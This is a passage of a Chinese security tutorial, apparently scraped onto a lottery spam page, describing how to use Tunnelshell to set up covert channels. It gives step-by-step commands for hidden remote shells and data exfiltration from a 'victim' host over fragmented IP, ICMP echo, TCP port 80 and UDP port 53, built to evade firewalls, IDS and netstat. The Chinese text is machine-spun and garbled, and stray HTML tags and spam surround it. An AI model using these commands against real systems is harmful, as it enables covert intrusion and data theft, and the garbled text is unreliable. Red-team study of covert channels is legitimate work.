<small id='1KY0E9s4'></small> <noframes id='D3P1'>

  • <tfoot id='6slkTIum'></tfoot>

      <legend id='4MNobDvdG'><style id='EWMDO'><dir id='Y4z2oPtR'><q id='9U2Iwg'></q></dir></style></legend>
      <i id='puzvKLjRCa'><tr id='ftAnJ'><dt id='PGLeH'><q id='FQejNB4EPx'><span id='OWDtp'><b id='YtViaT'><form id='6DtWE'><ins id='AOoyu8lDPH'></ins><ul id='cRK5S'></ul><sub id='laNKbMj'></sub></form><legend id='YNsowk2U8'></legend><bdo id='GiaRloTqhZ'><pre id='ljrE'><center id='ctu6'></center></pre></bdo></b><th id='gC01mFK8'></th></span></q></dt></tr></i><div id='I6ihRnCXHg'><tfoot id='ygfa7r'></tfoot><dl id='NyTCvPA1Y'><fieldset id='iw3Ec29'></fieldset></dl></div>

          <bdo id='x8K4kUsNg'></bdo><ul id='zASkIq'></ul>

          1. <li id='BHAy'></li>
            登陆

            经过无法检测到的网络(Covert Channel)从方针主机获取数据

            admin 2019-05-11 187人围观 ,发现0个评论

            一般,黑客会运用荫蔽网络来逃避防火墙和IDS等。在本文中,你将学习怎么经过不行检测的网络从方针主机盗取数据。这种类型的网络被称为荫蔽信道,而这些流量在网络监控设备/运用和网络办理员看来像是一般的正常流量。两个端点用户能够运用荫蔽信道,进行无法被检测到的网络通讯。

            红队经过合法的网络运用荫蔽信道在红队活动中进行数据走漏,数据走漏是在两个端点之间隐秘同享数据的进程。

            声明:本文仅用于技能讨论,禁止用于其他用处。

            什么是 荫蔽信道(covert channel)?

            荫蔽一词意味着“躲藏或不行检测”,而信道是“通讯形式”,因而荫蔽信道表明不行检测的通讯网络。了解加密通讯和荫蔽通讯之间的差异非常重要。在荫蔽通讯中,数据流被未经授权的一方篡改和耐久。但是,加密通讯并不掩盖经过加密在两个端点之间传输的数据进行通讯的现实。

            covert channel 的类型

            网络荫蔽存储信道:发送者直接或直接些方针值,接收者直接或直接接读方针值。

            网络荫蔽时刻信道:发送者经过时域霍耿上调制运用资源(例如CPU)发送信息,接收者能够观测到并对信息进行解码。

            与存储荫蔽信道比较,时刻荫蔽信道又称为无回忆通道,它不能持久存储信息。发送者发送的信息接收者有必要及时承受,不然传送的信息将会消失。

            运用 Tunnelshell 进行荫蔽信道进犯

            简直能够运用任何协议来树立荫蔽信道。绝大多数荫蔽信道研讨都是根据第3层(网络)和第4层(传输)协议,如ICMP,IP和TCP。常常运用的还有第7层(运用)协议比如HTTP和DNS。这种机制用于在不提示网络防火墙和IDS的情况下传送信息,而且netstat无法检测到。

            Tunnelshell 简介

            Tunnelshell是一个用C编写的程序适用于Linux用户,它运用客户端 – 服务器典范。服务器翻开/bin/sh客户端能够经过虚拟地道进行拜访。它支撑多种协议,包含TCP,UDP,ICMP和RawIP。此外,数据包能够分段处理以逃避防火墙和IDS的检测。

            试验环境

            服务器(Kali Linux)

            客户端(Ubuntu18.04)

            Tunnelshell

            这儿,假定咱们现现已过c2服务器与受害者机器树立了会话。现在,咱们需要为数据走漏创立一个躲藏的信道,因而咱们需要在两个端点上装置tunnelshell。

            下载后,解压缩文件并进行编译,如下所示:

            tar xvfz tunnelshell_2.3.tgz make

            相同,在另一个端点(受害者的机器)重复相同的操作,完成后在终端中履行以下指令,翻开服务器的信道(Attacker)。

            sudo ./tunneld

            默许情况下,它会发送分段数据包,该数据包会在方针端点重组以逃避防火墙和IDS。

            经过无法检测到的网络(Covert Channel)从方针主机获取数据

            现在要与tunnelshell衔接,咱们需要在服务器(进犯者的机器)上履行以下指令,该指令将树立用于数据走漏的荫蔽信道。

            语法: ./tunnel -i -d -s -t -o -p -m -a

            ./tunnel -t frag 10.10.10.2

            frag:运用IPv4分段数据包来封装数据。当某些路由器和防火墙(如Cisco路由器和默许Linux装置)收到第四层没有标头的分段数据包时,即便它们有回绝它的规矩,也会答应它们经过。能够看到它已成功衔接到10.10.10.2,咱们将拜访受害者机器的shell。

            正如我说的那样,假如你运用network statics查看网络衔接状况,你将不会看到任何关于tunnelshell的进程ID。从下图中你能够看到,在ps指令的协助下我现已查看了tunnelshell的进程,并测验经过netstat查看其进程ID。

            ps |grep .tunneld netstat –ano

            让咱们经过Wireshark来看看10.10.10.1(进犯者的IP)和10. 10.10.2(受害者的IP)之间发生的网络流量。网络流在两个端点之间看起来像是一般的流量,但假如正确监督,则网络办理员能够嗅探到数据包。正如你所看到的,Wireshark捕经过无法检测到的网络(Covert Channel)从方针主机获取数据获了荫蔽的流量并嗅探到了在两个端点设备之间传输的数据。

            荫蔽的 ICMP 信道

            咱们知道Ping是运用ICMP通讯的,经过宣布icmp echo request包,收到icmp echo reply包在两台主机之间树立衔接。因而,履行以下指令:

            sudo ./tunneld -t icmp -m echo-reply, echo

            现在要与tunnelshell衔接,咱们需要在服务器(进犯者的机器)上履行以下指令,该指令将树立用于数据走漏的荫蔽信道。

            ./tunnel -t icmp -m echo-reply,echo 10.10.10.2

            正如你看到的它已成功衔接到10.10.10.2,而且进犯者能够拜访受害者计算机的shell。

            相同,假如你经过Wireshark捕获流量,那么你将会注意到ICMP echo request和reply数据包正在两个端点之间传输。假如你测验剖析这些数据包,那么你将能经过无法检测到的网络(Covert Channel)从方针主机获取数据够看到哪种payload被作为ICMP数据正在传输。

            荫蔽的 HTTP 信道

            在没有三步握手的情况下它树立了一个虚拟的TCP衔接,也不绑定任何端口,因而你能够运用现已由另一个进程运用的端口,履行以下指令:

            sudo ./tunneld -t tcp -p 80,2000

            现在要与tunnelshell衔接,咱们需要在服务器(进犯者的机器)上履行以下指令,该指令将树立用于数据走漏的荫蔽信道。

            ./tunnel -t tcp -p 80,2000 10.10.10.2

            正如你看到的,它已成功衔接到了10.10.10.2,而且进犯者能够再次拜访受害者计算机的shell。

            经过网络流量你能够看到源和方针之间树立了tcp通讯,但并没有真实的三步握手。

            荫蔽的 DNS 信道

            要树立DNS荫蔽信道,咱们需要在两个端点机器上运转UDP地道形式。因而,在受害者的机器上咱们履行以下指令:

            sudo ./tunneld -t udp -p 53,2000

            相同,在你的(进犯者)机器上履行以下指令以衔接地道。

            ./tunnel -t udp -p 53,2000 10.10.10.2

            正如你所看到的,DNS过错数据包包含在两个端点机器之间传输的数据。

            总结

            荫蔽信道在数据走漏时不会发送加密的数据包,因而它很简单被嗅探到,网络办理员能够轻松的进行数据丢掉防护和危险办理。

            *参阅来历:hackingarticles,FB小编secist编译,转载请注明来自FreeBuf.COM

            声明:该文观念仅代表作者自己,搜狐号系信息发布渠道,搜狐仅供给信息存储空间服务。

            章鱼彩票竞猜-安徽东至:籽棉收购价3.00元/斤左右 400型企业仍无开秤

            2019-10-17
            请关注微信公众号
            微信二维码
            不容错过
            Powered By Z-BlogPHP